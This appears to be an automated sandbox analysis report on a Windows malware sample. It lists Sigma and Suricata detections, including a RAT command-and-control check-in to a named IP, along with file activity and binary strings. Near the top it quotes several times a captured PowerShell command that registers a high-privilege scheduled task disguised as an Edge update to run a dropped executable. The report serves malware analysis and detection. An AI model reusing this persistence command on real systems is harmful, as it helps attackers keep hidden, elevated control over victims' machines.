Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' ", CommandLine: powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' ", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe", ParentImage: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe, ParentProcessId: 5300, ParentProcessName: T1#U52a9#U624b1.0.1.exe, ProcessCommandLine: powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' ", ProcessId: 3004, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1712, ProcessName: svchost.exe

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T13:55:37.140975+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50597	104.244.42.67	443	TCP
2024-12-29T13:55:50.214430+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50738	188.125.88.204	443	TCP
2024-12-29T13:55:54.258584+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50775	188.125.88.204	443	TCP

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T13:54:23.450046+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49895	8.212.101.195	1122	TCP
2024-12-29T13:55:56.777888+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49930	8.212.101.195	1122	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Form action: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c13cb6fd407&redirect_uri=https%3A%2F%2Fsupport.microsoft.com%2Fsignin-oidc&response_type=code%20id_token&scope=openid%20profile%20offline_access&response_mode=form_post&nonce=638710736717457756.MWZjNjZhMDctODcyNi00NGQzLTg0ZDYtYzRmMmQ3ZDNlMjJkMDNjY2QyMWMtZDAxMy00YTA5LWFiYjUtMDViZTlkMjVmMTZj&prompt=none&nopa=2&state=CfDJ8C0ohqf0LPdLoRrMGwogAwyGYJ1kpL8VWA1XJdehwCrsqQHal8lqsRL3GZOFV0hctBnOeaKNDklgfFnuCw17O3Vk1QHM4VOxl7k7RFBt13tI8p_SX9IGAyhkvmRAZwPHkRUVn5lgp4uoWUJMhFrpcT4fOka9ALXJV-STw-Wxm5EESLCddsViSqMiPz7vfIiyRYg953tt0AImasNV5fOzZLAY8lAKYggxgbizw_B_t3T-TSOYSSgy-nzwibjp6L8vpnC_mRynHZCXaDzr3ePB5Ru_M9F0_ZyrxPjOEEllJNavuY6NwcQLWBVrbeEhX0jjIauqrPqi-PY_0iVC7AQVY-ujiXreSbRF_oRcYHozyqO1&x-client-SKU=ID_NET6_0&x-client-ver=8.1.2.0&sso_reload=true microsoft microsoftonline
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Form action: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c13cb6fd407&redirect_uri=https%3A%2F%2Fsupport.microsoft.com%2Fsignin-oidc&response_type=code%20id_token&scope=openid%20profile%20offline_access&response_mode=form_post&nonce=638710736744076271.MjJiMWM5ZDQtYWJiMS00NjdlLWJiNWQtZTkyMDY5MDFjNTFlYjJkOWM0NDgtNjM0Yi00ODJhLThhYjYtNWU0NmQ2Y2Y5YzQx&prompt=none&nopa=2&state=CfDJ8C0ohqf0LPdLoRrMGwogAwzCX03PcRaz7F1d7cOQw4uMYrW7hlepjzqImkGr0eYdYR5XGcApbbLjjx9OooDuuSzwMA949xsIhUDoMyaGo5GtexKTYxv2TNQhw9qJ-AEq6OWbx44hkFry0tkLOSmdcp4XyCHEUkP_71v28mrzW06BenZkEeSsoD3ZRdgFhelg_ZutMTpICIqoRNxmWApcJ96SwUKZh63QdDQgUBiCR16qjfX3xdHlSjM2CsUC8hJXV_WxEWyw6rpjVGQBS5-naDCz5-qNCtjVNwdGx3UWQ2NS0RJxhgqFK7TR9565DMyUMq4eDuMK4fI8STeRZXTIf9hdwCqzPpDTJZDCxjpYoY2X&x-client-SKU=ID_NET6_0&x-client-ver=8.1.2.0&sso_reload=true microsoft microsoftonline
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Form action: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c13cb6fd407&redirect_uri=https%3A%2F%2Fsupport.microsoft.com%2Fsignin-oidc&response_type=code%20id_token&scope=openid%20profile%20offline_access&response_mode=form_post&nonce=638710736724917362.MGU0YmFjMzgtNjM5MS00MzcwLTkwNTQtMTgwNWIzYWM0NzJkYzMwZDhlOTktYTYzZS00ZDFiLThhN2EtZGJlNDgyZDg2OTMz&prompt=none&nopa=2&state=CfDJ8C0ohqf0LPdLoRrMGwogAwyyC6n7hQz5MtifNtwfHal2dQVffZuOhwg1_vqbAseeOeNfWs2Ekq8Z-nQlTQD2A7V-fdJbPe3xaoL-r-BLJcEYN_Pv6GOcAAT2TUYcXMuHtnH0PO_fMqIcr4eIlHIZSECKLX-OX24V_kDfOcIK2-bmzXWZ03jDLz-LKjv9LMlOoKd6WtVHqyRqzbvNB3UvdtSuXS4CCmKHoYl7aluVUVB_lqrpQ13tuxu7WrlQxRQzcTmCodZNoUYsg4jCVZ5N5B6RERljozGvdt2Sq9qX99s4B8OON0_8vvtGn4k27nK50kGQQw1NZKDWLDRjXUeZuhqti0D_QcueLm8upx9WYr0j&x-client-SKU=ID_NET6_0&x-client-ver=8.1.2.0&sso_reload=true microsoft microsoftonline
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Form action: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c13cb6fd407&redirect_uri=https%3A%2F%2Fsupport.microsoft.com%2Fsignin-oidc&response_type=code%20id_token&scope=openid%20profile%20offline_access&response_mode=form_post&nonce=638710736737765776.YTcxNzIyOWYtNGZlOC00MTkzLWExZjktMGI5MmJmODY4MjI1NzgzYzkzMmEtYjE1OC00M2IyLTg3NzctMjgxOTQ2MWIyMDQy&prompt=none&nopa=2&state=CfDJ8C0ohqf0LPdLoRrMGwogAwzgD3hjYIMV-dur1xpZtQr4XHqSD67V4Jun8vUlNUiVoHaH17kXeRWgcdiiuDxX1gEpJpv_tbeuqxnd9Fb-TxMm1LP3KHS8n7iag4gpLdb-0uCazsJKzGTnpq59Uu437w3R18ME6OCenbmRCO97OafNK7fusdlTfmA3izaoagWnuF_jORXnpQI-X9G0os19r6bVZwXHACQZkzJdcLMinFAHB5G4Zo_g0oQHFdYRAwqxqmOQGCno6uCTBxFVBrBvgbRXB4QAEmfXvJgZ_SljpglJbWl_wba8Do1rWkAHhFrachNrnmV4uiGGUW_aXbS-YQtX4MnStac1345Ya85M7dmP&x-client-SKU=ID_NET6_0&x-client-ver=8.1.2.0&sso_reload=true microsoft microsoftonline

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Number of links: 0
Source: https://www.microsoft.com/en-us/windows/windows-10-specifications	HTTP Parser: Number of links: 0

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445

HTTP Parser: Base64 decoded: 1fc66a07-8726-44d3-84d6-c4f2d7d3e22d03ccd21c-d013-4a09-abb5-05be9d25f16c

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Title: Redirecting does not match URL
Source: https://www.microsoft.com/en-us/windows/windows-10-specifications	HTTP Parser: Title: Continue does not match URL

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/windows/windows-10-specifications	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/windows/windows-10-specifications	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/windows/windows-10-specifications	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-US/windows/cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-US/windows/cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No favicon

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/windows/windows-10-specifications	HTTP Parser: No <meta name="author".. found

Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/windows/windows-10-specifications	HTTP Parser: No <meta name="copyright".. found

Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$Windows.~WS\Sources\Panther\setuperr.log
Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$Windows.~WS\Sources\Panther\setupact.log
Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$WINDOWS.~BT\Sources\Panther\setuperr.log
Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$WINDOWS.~BT\Sources\Panther\setupact.log

Source: C:\$Windows.~WS\Sources\SetupHost.exe

File created: C:\$Windows.~WS\Sources\Panther\Eula.rtf

Source: T1#U52a9#U624b1.0.1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a01\_work\6\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702622530.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1812752389.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843026952.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\select.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1850173368.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SetupPrep.pdbGCTL source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1726683748.000001F6ECEC4000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1792989511.0000000005926000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796484557.0000000007084000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796355273.0000000003717000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000000.1789614892.0000000000821000.00000020.00000001.01000000.0000000B.sdmp, LineInst.exe, 0000000C.00000003.1792878564.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdbMM source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843822452.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_bz2.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843278211.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_hashlib.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1814913258.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843629057.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SetupHost.pdbGCTL source: SetupHost.exe, 0000000D.00000000.1825359643.00000000006EC000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_socket.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844015796.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SetupHost.pdb source: SetupHost.exe, 0000000D.00000000.1825359643.00000000006EC000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: SetupPrep.pdb source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1726683748.000001F6ECEC4000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1792989511.0000000005926000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796484557.0000000007084000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796355273.0000000003717000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000000.1789614892.0000000000821000.00000020.00000001.01000000.0000000B.sdmp, LineInst.exe, 0000000C.00000003.1792878564.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\unicodedata.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A903D000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823942492.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1850468835.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843822452.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\WinHex.exe	File opened: z:
Source: C:\Users\user\AppData\WinHex.exe	File opened: x:
Source: C:\Users\user\AppData\WinHex.exe	File opened: v:
Source: C:\Users\user\AppData\WinHex.exe	File opened: t:
Source: C:\Users\user\AppData\WinHex.exe	File opened: r:
Source: C:\Users\user\AppData\WinHex.exe	File opened: p:
Source: C:\Users\user\AppData\WinHex.exe	File opened: n:
Source: C:\Users\user\AppData\WinHex.exe	File opened: l:
Source: C:\Users\user\AppData\WinHex.exe	File opened: j:
Source: C:\Users\user\AppData\WinHex.exe	File opened: h:
Source: C:\Users\user\AppData\WinHex.exe	File opened: f:
Source: C:\Users\user\AppData\WinHex.exe	File opened: b:
Source: C:\Users\user\AppData\WinHex.exe	File opened: y:
Source: C:\Users\user\AppData\WinHex.exe	File opened: w:
Source: C:\Users\user\AppData\WinHex.exe	File opened: u:
Source: C:\Users\user\AppData\WinHex.exe	File opened: s:
Source: C:\Users\user\AppData\WinHex.exe	File opened: q:
Source: C:\Users\user\AppData\WinHex.exe	File opened: o:
Source: C:\Users\user\AppData\WinHex.exe	File opened: m:
Source: C:\Users\user\AppData\WinHex.exe	File opened: k:
Source: C:\Users\user\AppData\WinHex.exe	File opened: i:
Source: C:\Users\user\AppData\WinHex.exe	File opened: g:
Source: C:\Users\user\AppData\WinHex.exe	File opened: e:
Source: C:\Windows\System32\svchost.exe	File opened: c:
Source: C:\Users\user\AppData\WinHex.exe	File opened: [:

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF77B1F6714
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B2009B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF77B2009B4
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1E7820 FindFirstFileExW,FindClose,	0_2_00007FF77B1E7820
